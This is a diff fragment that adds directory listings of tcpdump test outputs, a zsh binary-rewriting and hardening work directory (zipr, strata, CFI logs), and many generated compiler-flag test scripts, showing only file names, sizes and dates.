+-rw-rw-r-- 1 ubuntu ubuntu 130398 Apr 23  2015 sflow_multiple_counter_30_pdus.out
+-rw-rw-r-- 1 ubuntu ubuntu    800 Apr 23  2015 spb_bpduv4.out
+-rw-rw-r-- 1 ubuntu ubuntu   2779 Apr 23  2015 spb.out
+-rw-rw-r-- 1 ubuntu ubuntu   2939 Apr 23  2015 dhcpv6-AFTR-Name-RFC6334.out
+-rw-rw-r-- 1 ubuntu ubuntu    331 Apr 23  2015 dio.out
+-rw-rw-r-- 1 ubuntu ubuntu   1272 Apr 23  2015 esp1.out
+-rw-rw-r-- 1 ubuntu ubuntu   1272 Apr 23  2015 esp5.out
+-rw-rw-r-- 1 ubuntu ubuntu    802 Apr 23  2015 espudp1.out
+-rw-rw-r-- 1 ubuntu ubuntu  10128 Apr 23  2015 forces1vvv.out
+-rw-rw-r-- 1 ubuntu ubuntu   6411 Apr 23  2015 ikev2four.out
+-rw-rw-r-- 1 ubuntu ubuntu   7985 Apr 23  2015 print-AA.new
+-rw-rw-r-- 1 ubuntu ubuntu   7845 Apr 23  2015 print-A.new
+-rw-rw-r-- 1 ubuntu ubuntu  28583 Apr 23  2015 print-capX.new
+-rw-rw-r-- 1 ubuntu ubuntu  21271 Apr 23  2015 print-x.new
+-rw-rw-r-- 1 ubuntu ubuntu  46823 Apr 23  2015 QinQpacket.out
+-rw-rw-r-- 1 ubuntu ubuntu 135935 Apr 23  2015 QinQpacketv.out
+-rw-rw-r-- 1 ubuntu ubuntu    685 Apr 23  2015 ripv1v2.out
+-rw-rw-r-- 1 ubuntu ubuntu   1936 Apr 23  2015 esp2.out
+-rw-rw-r-- 1 ubuntu ubuntu   2587 Apr 23  2015 forces1.out
+-rw-rw-r-- 1 ubuntu ubuntu  15068 Apr 23  2015 ikev2fourv.out
+-rw-rw-r-- 1 ubuntu ubuntu     42 Apr 23  2015 isakmp1.out
+-rw-rw-r-- 1 ubuntu ubuntu   1451 Apr 23  2015 isakmp3.out
+-rw-rw-r-- 1 ubuntu ubuntu   2675 Apr 23  2015 isakmp4.out
+-rw-rw-r-- 1 ubuntu ubuntu      0 Apr 23  2015 zmtp1.out
+
+../../tcpdump/tcpd_tests/DIFF:
+total 140
+-rw-rw-r-- 1 ubuntu ubuntu 17833 Apr 23  2015 babel1v.out.diff
+-rw-rw-r-- 1 ubuntu ubuntu  3454 Apr 23  2015 babel_auth.out.diff
+-rw-rw-r-- 1 ubuntu ubuntu   299 Apr 23  2015 mpbgp-linklocal-nexthop.out.diff
+-rw-rw-r-- 1 ubuntu ubuntu  5025 Apr 23  2015 ripv2_auth.out.diff
+-rw-rw-r-- 1 ubuntu ubuntu  6842 Apr 23  2015 zmtp1.out.diff
+-rw-rw-r-- 1 ubuntu ubuntu  4561 Apr 23  2015 dhcpv6-AFTR-Name-RFC6334.out.diff
+-rw-rw-r-- 1 ubuntu ubuntu  5490 Apr 23  2015 icmpv6.out.diff
+-rw-rw-r-- 1 ubuntu ubuntu  1171 Apr 23  2015 msnlb.out.diff
+-rw-rw-r-- 1 ubuntu ubuntu  3220 Apr 23  2015 print-capX.out.diff
+-rw-rw-r-- 1 ubuntu ubuntu  3220 Apr 23  2015 print-capXX.out.diff
+-rw-rw-r-- 1 ubuntu ubuntu   378 Apr 23  2015 ripv1v2.out.diff
+-rw-rw-r-- 1 ubuntu ubuntu 14677 Apr 23  2015 babel1.out.diff
+-rw-rw-r-- 1 ubuntu ubuntu  4005 Apr 23  2015 dhcpv6-ia-pd.out.diff
+-rw-rw-r-- 1 ubuntu ubuntu   322 Apr 23  2015 msnlb2.out.diff
+-rw-rw-r-- 1 ubuntu ubuntu  4348 Apr 23  2015 print-AA.out.diff
+-rw-rw-r-- 1 ubuntu ubuntu  4348 Apr 23  2015 print-A.out.diff
+-rw-rw-r-- 1 ubuntu ubuntu  3924 Apr 23  2015 dhcpv6-ia-na.out.diff
+-rw-rw-r-- 1 ubuntu ubuntu  3827 Apr 23  2015 dhcpv6-ia-ta.out.diff
+-rw-rw-r-- 1 ubuntu ubuntu   512 Apr 23  2015 dio.out.diff
+-rw-rw-r-- 1 ubuntu ubuntu  3220 Apr 23  2015 print-x.out.diff
+-rw-rw-r-- 1 ubuntu ubuntu  3220 Apr 23  2015 print-xx.out.diff
+-rw-rw-r-- 1 ubuntu ubuntu  2514 Apr 23  2015 spb_bpduv4.out.diff
+
+../../zsh:
+total 1132
+-rw-rw-r-- 1 ubuntu ubuntu    1027 Jan  7 18:04 gdb.txt
+-rw-rw-r-- 1 ubuntu ubuntu       0 Jan  7 18:02 tmp
+-rwxrwxr-x 1 ubuntu ubuntu 1141343 Jan  7 17:51 zsh.cfi.color
+drwxrwxr-x 3 ubuntu ubuntu    4096 Jan  7 17:51 peasoup_executable_directory.zsh.29614
+drwxrwxr-x 2 ubuntu ubuntu    4096 Jan  7 17:47 tests
+-rwxrwxr-x 1 ubuntu ubuntu     886 Apr 23  2015 test_script.sh
+
+../../zsh/peasoup_executable_directory.zsh.29614:
+total 84600
+drwxrwxr-x 2 ubuntu ubuntu     4096 Jan  7 17:51 logs
+-rw-rw-r-- 1 ubuntu ubuntu  8328152 Jan  7 17:51 zipr.map
+-rwxrwxr-x 1 ubuntu ubuntu  1141343 Jan  7 17:51 b.out.addseg
+-rw-rw-r-- 1 ubuntu ubuntu  1137248 Jan  7 17:51 b.out
+-rw-rw-r-- 1 ubuntu ubuntu   360985 Jan  7 17:51 b.out.to_insert3
+-rw-rw-r-- 1 ubuntu ubuntu      416 Jan  7 17:51 b.out.to_insert2
+-rw-rw-r-- 1 ubuntu ubuntu   360569 Jan  7 17:51 b.out.to_insert
+-rw-rw-r-- 1 ubuntu ubuntu    10142 Jan  7 17:51 tmp.bin
+-rw-rw-r-- 1 ubuntu ubuntu    17193 Jan  7 17:51 tmp.asm
+-rw-rw-r-- 1 ubuntu ubuntu   692928 Jan  7 17:50 readeh_tmp_file.exe
+-rw-rw-r-- 1 ubuntu ubuntu        4 Jan  7 17:50 clone.id
+-rw-rw-r-- 1 ubuntu ubuntu     3296 Jan  7 17:50 db_script.30015
+-rw-rw-r-- 1 ubuntu ubuntu        4 Jan  7 17:49 registered.id
+-rw-rw-r-- 1 ubuntu ubuntu     3395 Jan  7 17:49 db.tmp.29848
+-rw-rw-r-- 1 ubuntu ubuntu 19124669 Jan  7 17:49 a.ncexe.annot.full
+-rw-rw-rw- 1 ubuntu ubuntu 19124669 Jan  7 17:49 a.ncexe.annot
+-rw-rw-r-- 1 ubuntu ubuntu    44838 Jan  7 17:49 screenlog.0
+-rw-rw-rw- 1 ubuntu ubuntu  6750532 Jan  7 17:49 a.i64
+-rw-rw-r-- 1 ubuntu ubuntu  1084109 Jan  7 17:49 a.ncexe.log
+-rw-rw-rw- 1 ubuntu ubuntu  4280656 Jan  7 17:49 a.asm
+-rw-rw-rw- 1 ubuntu ubuntu       26 Jan  7 17:49 stubtest.idaoutput
+-rw-rw-rw- 1 ubuntu ubuntu  4288446 Jan  7 17:49 a.ncexe.asm
+-rw-rw-rw- 1 ubuntu ubuntu  1452064 Jan  7 17:49 a.ncexe.STARScallreturn
+-rw-rw-rw- 1 ubuntu ubuntu   786546 Jan  7 17:49 a.ncexe.STARSxrefs
+-rw-rw-rw- 1 ubuntu ubuntu   260150 Jan  7 17:49 a.ncexe.infoannot
+-rw-rw-rw- 1 ubuntu ubuntu        0 Jan  7 17:48 a.ncexe.alarms
+-rw-rw-r-- 1 ubuntu ubuntu    16541 Jan  7 17:48 a.ncexe.eh_frame_addrs
+-rw-rw-r-- 1 ubuntu ubuntu  7412596 Jan  7 17:48 a.ncexe.SMPobjdump
+-rwxrwxr-x 1 ubuntu ubuntu     4813 Jan  7 17:48 ps_run.sh
+-rwxrwxr-x 1 ubuntu ubuntu      232 Jan  7 17:48 zsh.sh
+-rwxr-xr-x 1 ubuntu ubuntu   692928 Jan  7 17:48 a.ncexe.orig
+-rwxrwxr-x 1 ubuntu ubuntu  7321180 Jan  7 17:48 libheaprand.so
+-rwxrwxr-x 1 ubuntu ubuntu  2479496 Jan  7 17:48 libstrata.so
+-rwxrwxr-x 1 ubuntu ubuntu  2479496 Jan  7 17:48 libstrata.so.nosymbols
+-rwxrwxr-x 1 ubuntu ubuntu  2540203 Jan  7 17:48 libstrata.so.symbols
+-rwxr-xr-x 1 ubuntu ubuntu   692928 Jan  7 17:48 a.ncexe
+
+../../zsh/peasoup_executable_directory.zsh.29614/logs:
+total 89724
+-rw-rw-r-- 1 ubuntu ubuntu     4149 Jan  7 17:51 stats.json
+-rw-rw-r-- 1 ubuntu ubuntu 45919589 Jan  7 17:51 ps_analyze.log
+-rw-rw-r-- 1 ubuntu ubuntu 37748821 Jan  7 17:51 zipr.log
+-rw-rw-r-- 1 ubuntu ubuntu  2542650 Jan  7 17:51 selective_cfi.log
+-rw-rw-r-- 1 ubuntu ubuntu   276319 Jan  7 17:50 fix_calls.log
+-rw-rw-r-- 1 ubuntu ubuntu     1190 Jan  7 17:50 clone.log
+-rw-rw-r-- 1 ubuntu ubuntu  4710187 Jan  7 17:50 fill_in_indtargs.log
+-rw-rw-r-- 1 ubuntu ubuntu     4601 Jan  7 17:50 fill_in_cfg.log
+-rw-rw-r-- 1 ubuntu ubuntu   631326 Jan  7 17:49 pdb_register.log
+-rw-rw-r-- 1 ubuntu ubuntu      618 Jan  7 17:49 meds_static.log
+-rw-rw-r-- 1 ubuntu ubuntu      386 Jan  7 17:48 gather_libraries.log
+-rw-rw-r-- 1 ubuntu ubuntu      322 Jan  7 17:48 is_so.log
+-rw-rw-r-- 1 ubuntu ubuntu      332 Jan  7 17:48 create_binary_script.log
+
+../../zsh/tests:
+total 24
+-rwxrwxr-x 1 ubuntu ubuntu  133 Apr 23  2015 test5.sh
+-rwxrwxr-x 1 ubuntu ubuntu  167 Apr 23  2015 test4.sh
+-rwxrwxr-x 1 ubuntu ubuntu   39 Apr 23  2015 test1.sh
+-rwxrwxr-x 1 ubuntu ubuntu   15 Apr 23  2015 test2.sh
+-rwxrwxr-x 1 ubuntu ubuntu   71 Apr 23  2015 test3.sh
+-rwxrwxr-x 1 ubuntu ubuntu 1670 Apr 23  2015 test6.sh
+
+../../test_scripts:
+total 88
+drwxrwxr-x 2 ubuntu ubuntu 20480 Oct 14 15:33 foo_tests
+-rwxrwxr-x 1 ubuntu ubuntu  4208 Oct 14 15:33 generate_tests.sh
+-rw-rw-r-- 1 ubuntu ubuntu   161 Oct 14 15:33 foo.cpp
+drwxrwxr-x 2 ubuntu ubuntu 40960 Oct 14 15:33 sample_tests
+-rwxrwxr-x 1 ubuntu ubuntu  3714 Oct 14 15:33 template.foo.shtmpl
+-rw-rw-r-- 1 ubuntu ubuntu   813 Oct 14 15:33 sample.cpp
+-rwxrwxr-x 1 ubuntu ubuntu  3712 Oct 14 15:33 template.sample.shtmpl
+-rw-rw-r-- 1 ubuntu ubuntu   339 Oct 14 15:33 test.cpp
+
+../../test_scripts/foo_tests:
+total 640
+-rw-rw-r-- 1 ubuntu ubuntu 3701 Oct 14 15:33 foo.strata.no_startfile.-O2.-fPIC.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3729 Oct 14 15:33 foo.zipr.no_startfile.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3731 Oct 14 15:33 foo.zipr.no_startfile.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3723 Oct 14 15:33 foo.zipr.no_startfile.-O2.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3693 Oct 14 15:33 foo.zipr.no_startfile.-O3.-fPIC.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3723 Oct 14 15:33 foo.zipr.no_startfile.-O.no_pic.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3731 Oct 14 15:33 foo.zipr.no_startfile.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3739 Oct 14 15:33 foo.strata.no_startfile.-O2.-fPIC.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3693 Oct 14 15:33 foo.strata.no_startfile.-O3.no_pic.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3699 Oct 14 15:33 foo.strata.no_startfile.-Os.-fPIC.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3727 Oct 14 15:33 foo.zipr.no_startfile.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3689 Oct 14 15:33 foo.zipr.no_startfile.no_optflag.-fPIC.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3683 Oct 14 15:33 foo.zipr.no_startfile.no_optflag.no_pic.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3693 Oct 14 15:33 foo.zipr.no_startfile.-O2.-fPIC.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3725 Oct 14 15:33 foo.zipr.no_startfile.-O3.no_pic.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3731 Oct 14 15:33 foo.zipr.no_startfile.-O.-fPIC.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3695 Oct 14 15:33 foo.strata.no_startfile.no_optflag.-fPIC.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3737 Oct 14 15:33 foo.strata.no_startfile.-O.-fPIC.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3689 Oct 14 15:33 foo.strata.no_startfile.-O.no_pic.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3681 Oct 14 15:33 foo.zipr.no_startfile.no_optflag.no_pic.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3723 Oct 14 15:33 foo.zipr.no_startfile.-O3.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3685 Oct 14 15:33 foo.zipr.no_startfile.-O3.no_pic.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3729 Oct 14 15:33 foo.zipr.no_startfile.-O.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3691 Oct 14 15:33 foo.zipr.no_startfile.-O.-fPIC.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3725 Oct 14 15:33 foo.zipr.no_startfile.-Os.no_pic.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3723 Oct 14 15:33 foo.zipr.no_startfile.-Os.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3725 Oct 14 15:33 foo.strata.no_startfile.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3737 Oct 14 15:33 foo.strata.no_startfile.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3693 Oct 14 15:33 foo.strata.no_startfile.-O2.no_pic.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3739 Oct 14 15:33 foo.strata.no_startfile.-O3.-fPIC.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3691 Oct 14 15:33 foo.strata.no_startfile.-O3.no_pic.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3739 Oct 14 15:33 foo.strata.no_startfile.-Os.-fPIC.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3737 Oct 14 15:33 foo.strata.no_startfile.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3731 Oct 14 15:33 foo.strata.no_startfile.-Os.no_pic.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3693 Oct 14 15:33 foo.strata.no_startfile.-Os.no_pic.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3721 Oct 14 15:33 foo.zipr.no_startfile.no_optflag.no_pic.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3687 Oct 14 15:33 foo.zipr.no_startfile.-O2.no_pic.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3687 Oct 14 15:33 foo.zipr.no_startfile.-Os.no_pic.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3689 Oct 14 15:33 foo.strata.no_startfile.no_optflag.no_pic.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3729 Oct 14 15:33 foo.strata.no_startfile.-O3.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3691 Oct 14 15:33 foo.strata.no_startfile.-Os.no_pic.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3691 Oct 14 15:33 foo.zipr.no_startfile.no_optflag.-fPIC.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3733 Oct 14 15:33 foo.zipr.no_startfile.-O2.-fPIC.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3695 Oct 14 15:33 foo.zipr.no_startfile.-O2.-fPIC.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3693 Oct 14 15:33 foo.zipr.no_startfile.-O2.-fPIC.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3725 Oct 14 15:33 foo.zipr.no_startfile.-O2.no_pic.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3685 Oct 14 15:33 foo.zipr.no_startfile.-O2.no_pic.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3693 Oct 14 15:33 foo.zipr.no_startfile.-O.-fPIC.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3723 Oct 14 15:33 foo.zipr.no_startfile.-O.no_pic.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3733 Oct 14 15:33 foo.zipr.no_startfile.-Os.-fPIC.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3695 Oct 14 15:33 foo.zipr.no_startfile.-Os.-fPIC.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3701 Oct 14 15:33 foo.strata.no_startfile.-O2.-fPIC.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3731 Oct 14 15:33 foo.strata.no_startfile.-O2.no_pic.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3739 Oct 14 15:33 foo.strata.no_startfile.-O3.-fPIC.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3737 Oct 14 15:33 foo.strata.no_startfile.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3699 Oct 14 15:33 foo.strata.no_startfile.-O3.-fPIC.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3731 Oct 14 15:33 foo.strata.no_startfile.-O3.no_pic.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3693 Oct 14 15:33 foo.strata.no_startfile.-O3.no_pic.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3701 Oct 14 15:33 foo.strata.no_startfile.-Os.-fPIC.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3699 Oct 14 15:33 foo.strata.no_startfile.-Os.-fPIC.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3731 Oct 14 15:33 foo.strata.no_startfile.-Os.no_pic.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3727 Oct 14 15:33 foo.zipr.no_startfile.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3689 Oct 14 15:33 foo.zipr.no_startfile.no_optflag.-fPIC.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3731 Oct 14 15:33 foo.zipr.no_startfile.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3725 Oct 14 15:33 foo.zipr.no_startfile.-O3.no_pic.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3687 Oct 14 15:33 foo.zipr.no_startfile.-O3.no_pic.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3731 Oct 14 15:33 foo.zipr.no_startfile.-O.-fPIC.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3683 Oct 14 15:33 foo.zipr.no_startfile.-O.no_pic.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3731 Oct 14 15:33 foo.zipr.no_startfile.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3687 Oct 14 15:33 foo.zipr.no_startfile.-Os.no_pic.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3733 Oct 14 15:33 foo.strata.no_startfile.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3687 Oct 14 15:33 foo.strata.no_startfile.no_optflag.no_pic.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3691 Oct 14 15:33 foo.strata.no_startfile.-O3.no_pic.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3735 Oct 14 15:33 foo.strata.no_startfile.-O.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3727 Oct 14 15:33 foo.strata.no_startfile.-O.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3737 Oct 14 15:33 foo.strata.no_startfile.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3691 Oct 14 15:33 foo.zipr.no_startfile.no_optflag.-fPIC.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3721 Oct 14 15:33 foo.zipr.no_startfile.no_optflag.no_pic.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3723 Oct 14 15:33 foo.zipr.no_startfile.-O3.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3729 Oct 14 15:33 foo.zipr.no_startfile.-O.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3721 Oct 14 15:33 foo.zipr.no_startfile.-O.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3685 Oct 14 15:33 foo.zipr.no_startfile.-O.no_pic.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3731 Oct 14 15:33 foo.strata.no_startfile.-O2.no_pic.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3691 Oct 14 15:33 foo.strata.no_startfile.-O2.no_pic.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3701 Oct 14 15:33 foo.strata.no_startfile.-O3.-fPIC.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3701 Oct 14 15:33 foo.strata.no_startfile.-Os.-fPIC.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3733 Oct 14 15:33 foo.zipr.no_startfile.-O2.-fPIC.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3685 Oct 14 15:33 foo.zipr.no_startfile.-O2.no_pic.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3733 Oct 14 15:33 foo.zipr.no_startfile.-O3.-fPIC.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3695 Oct 14 15:33 foo.zipr.no_startfile.-O3.-fPIC.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3733 Oct 14 15:33 foo.zipr.no_startfile.-Os.-fPIC.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3695 Oct 14 15:33 foo.zipr.no_startfile.-Os.-fPIC.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3693 Oct 14 15:33 foo.zipr.no_startfile.-Os.-fPIC.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3697 Oct 14 15:33 foo.strata.no_startfile.no_optflag.-fPIC.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3699 Oct 14 15:33 foo.strata.no_startfile.-O2.-fPIC.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3729 Oct 14 15:33 foo.strata.no_startfile.-O2.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3731 Oct 14 15:33 foo.strata.no_startfile.-O3.no_pic.-fomit-frame-pointer.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3699 Oct 14 15:33 foo.strata.no_startfile.-O.-fPIC.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3729 Oct 14 15:33 foo.strata.no_startfile.-O.no_pic.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3691 Oct 14 15:33 foo.strata.no_startfile.-O.no_pic.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3719 Oct 14 15:33 foo.zipr.no_startfile.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3687 Oct 14 15:33 foo.zipr.no_startfile.-O3.no_pic.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3693 Oct 14 15:33 foo.zipr.no_startfile.-O.-fPIC.no_omit-fp.-g.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3735 Oct 14 15:33 foo.strata.no_startfile.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3733 Oct 14 15:33 foo.strata.no_startfile.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3727 Oct 14 15:33 foo.strata.no_startfile.no_optflag.no_pic.-fomit-frame-pointer.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3687 Oct 14 15:33 foo.strata.no_startfile.no_optflag.no_pic.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3693 Oct 14 15:33 foo.strata.no_startfile.-O2.no_pic.no_omit-fp.-g.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3737 Oct 14 15:33 foo.strata.no_startfile.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3699 Oct 14 15:33 foo.strata.no_startfile.-O3.-fPIC.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3697 Oct 14 15:33 foo.strata.no_startfile.-O.-fPIC.no_omit-fp.no_debug.-m64.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3727 Oct 14 15:33 foo.strata.no_startfile.-O.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3731 Oct 14 15:33 foo.zipr.no_startfile.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3721 Oct 14 15:33 foo.zipr.no_startfile.-O.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3683 Oct 14 15:33 foo.zipr.no_startfile.-O.no_pic.no_omit-fp.no_debug.-m32.sh
+-rw-rw-r-- 1 ubuntu ubuntu 3685 Oct 14 15:33 foo.zipr.no_startfile.-Os.no_pic.no_omit-fp.no_debug.-m64.sh
